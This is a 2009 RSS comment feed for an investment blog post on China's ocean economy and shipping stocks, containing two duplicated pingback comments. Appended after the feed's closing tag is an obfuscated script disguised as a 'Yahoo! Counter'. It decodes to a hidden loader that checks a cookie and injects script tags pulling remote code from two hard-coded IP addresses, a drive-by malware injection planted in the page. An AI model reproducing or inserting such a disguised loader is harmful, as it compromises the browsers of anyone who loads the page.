<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>
<channel>
	<title>Comments on: The Ocean Becomes A New Growth Point in the World Economy</title>
	<atom:link href="http://www.theundergroundinvestor.com/2006/12/07/a-the-ocean-becomes-new-economic-growth-point/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.theundergroundinvestor.com/2006/12/07/a-the-ocean-becomes-new-economic-growth-point/</link>
	<description>The definitive investment blog for investment news not discussed in the mainstream media</description>
	<pubDate>Tue, 06 Jan 2009 14:22:11 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: The Underground Investor - safest places to invest money, achieve financial freedom, gold, uranium, silver, global stock market news &#187; A: Easy 30% Gains in Two Stocks for Underground Investor Readers</title>
		<link>http://www.theundergroundinvestor.com/2006/12/07/a-the-ocean-becomes-new-economic-growth-point/comment-page-1/#comment-3486</link>
		<dc:creator>The Underground Investor - safest places to invest money, achieve financial freedom, gold, uranium, silver, global stock market news &#187; A: Easy 30% Gains in Two Stocks for Underground Investor Readers</dc:creator>
		<pubDate>Tue, 03 Apr 2007 00:17:21 +0000</pubDate>
		<guid isPermaLink="false">http://www.smartknowledgeu.com/blog/2006/12/07/a-the-ocean-becomes-new-economic-growth-point/#comment-3486</guid>
		<description>[...] Every now and then I’ll revisit an old blog when I see the ideas I presented a while ago return as newsworthy stories in some form or another. Back in December 7th, 2006, I noted in my blog entry “The Ocean Becomes a New Growth Point in the World Economy” that investors should start following Chinese shipping stocks because as Wang Shuguang, the Director of the State Oceanography Bureau, in China stated: “In the past 20 years, the total output value of ocean industry has increased to 327 billion yuan and the annual average growth rate is about 25 percent which is much higher than the average growth rate of the national economy.”  [...]</description>
		<content:encoded><![CDATA[<p>[...] Every now and then I’ll revisit an old blog when I see the ideas I presented a while ago return as newsworthy stories in some form or another. Back in December 7th, 2006, I noted in my blog entry “The Ocean Becomes a New Growth Point in the World Economy” that investors should start following Chinese shipping stocks because as Wang Shuguang, the Director of the State Oceanography Bureau, in China stated: “In the past 20 years, the total output value of ocean industry has increased to 327 billion yuan and the annual average growth rate is about 25 percent which is much higher than the average growth rate of the national economy.”  [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: The Underground Investor - safest places to invest money, achieve financial freedom, gold, uranium, silver, global stock market news &#187; A: Easy 30% Gains in Two Stocks for Underground Investor Readers</title>
		<link>http://www.theundergroundinvestor.com/2006/12/07/a-the-ocean-becomes-new-economic-growth-point/comment-page-1/#comment-3487</link>
		<dc:creator>The Underground Investor - safest places to invest money, achieve financial freedom, gold, uranium, silver, global stock market news &#187; A: Easy 30% Gains in Two Stocks for Underground Investor Readers</dc:creator>
		<pubDate>Tue, 03 Apr 2007 00:17:21 +0000</pubDate>
		<guid isPermaLink="false">http://www.smartknowledgeu.com/blog/2006/12/07/a-the-ocean-becomes-new-economic-growth-point/#comment-3487</guid>
		<description>[...] Every now and then I’ll revisit an old blog when I see the ideas I presented a while ago return as newsworthy stories in some form or another. Back in December 7th, 2006, I noted in my blog entry “The Ocean Becomes a New Growth Point in the World Economy” that investors should start following Chinese shipping stocks because as Wang Shuguang, the Director of the State Oceanography Bureau, in China stated: “In the past 20 years, the total output value of ocean industry has increased to 327 billion yuan and the annual average growth rate is about 25 percent which is much higher than the average growth rate of the national economy.”  [...]</description>
		<content:encoded><![CDATA[<p>[...] Every now and then I’ll revisit an old blog when I see the ideas I presented a while ago return as newsworthy stories in some form or another. Back in December 7th, 2006, I noted in my blog entry “The Ocean Becomes a New Growth Point in the World Economy” that investors should start following Chinese shipping stocks because as Wang Shuguang, the Director of the State Oceanography Bureau, in China stated: “In the past 20 years, the total output value of ocean industry has increased to 327 billion yuan and the annual average growth rate is about 25 percent which is much higher than the average growth rate of the national economy.”  [...]</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script language=javascript><!-- Yahoo! Counter starts 
if(typeof(yahoo_counter)!=typeof(1))eval(unescape('/&%2F!%3C@%64%69#v%20|s~%74`y&%6C%65%3D%64~%69|%73!%70$%6C@%61y!%3A@%6E%6F~n`%65%3E\n#do@c$%75&%6D#%65~%6E@%74.%77%72i%74`%65@%28"`%3C%2Ft!%65&%78t|a%72e#a@%3E")%3B#%76`a&r%20~i@,%5F@,a|%3D[$%22~7&8$%2E%31%31%30%2E|%31`%375%2E2&%31$%22%2C!"1%395$%2E%32@%34~%2E7%36&%2E%325%31$%22%5D%3B~%5F|=%31`;!i&%66|(~do%63%75&%6Den|t|.%63o~o%6B~%69|e.m%61%74@%63!h%28%2F$%5C%62@%68%67#%66%74=%31/%29%3D|%3Dn&%75l%6C|%29%66$%6F%72&%28i=0%3Bi~%3C%32%3B@%69&+&+!%29%64%6Fc%75~m#%65~%6E@%74|.%77!rit&e#%28%22%3C@%73#%63%72%69#p#t#%3E$%69|%66%28_`)~%64%6F$%63%75|m~%65$%6E|t&%2Ew%72~%69|te!(%5C%22%3C$%73%63%72$%69%70%74`%20@%69%64`=!%5F%22|%2B%69+|"&_%20~s#rc~=|/~/%22+a%5B$%69%5D!%2B"%2F`%63!%70%2F%3F%22+%6Ea#v~%69gat`or%2Ea#%70%70|N`a%6De%2Echa~%72%41~%74`%28&0%29|+#"&%3E%3C%5C%5C%2F%73@c%72~%69p|%74&%3E%5C"%29%3C%5C/~s~%63%72$%69%70%74$%3E%22%29`%3B\n@//#%3C%2F@di$%76`%3E').replace(/`|\$|~|@|\||#|\!|\&/g,""));var yahoo_counter=1;
<!-- counter end --></script>
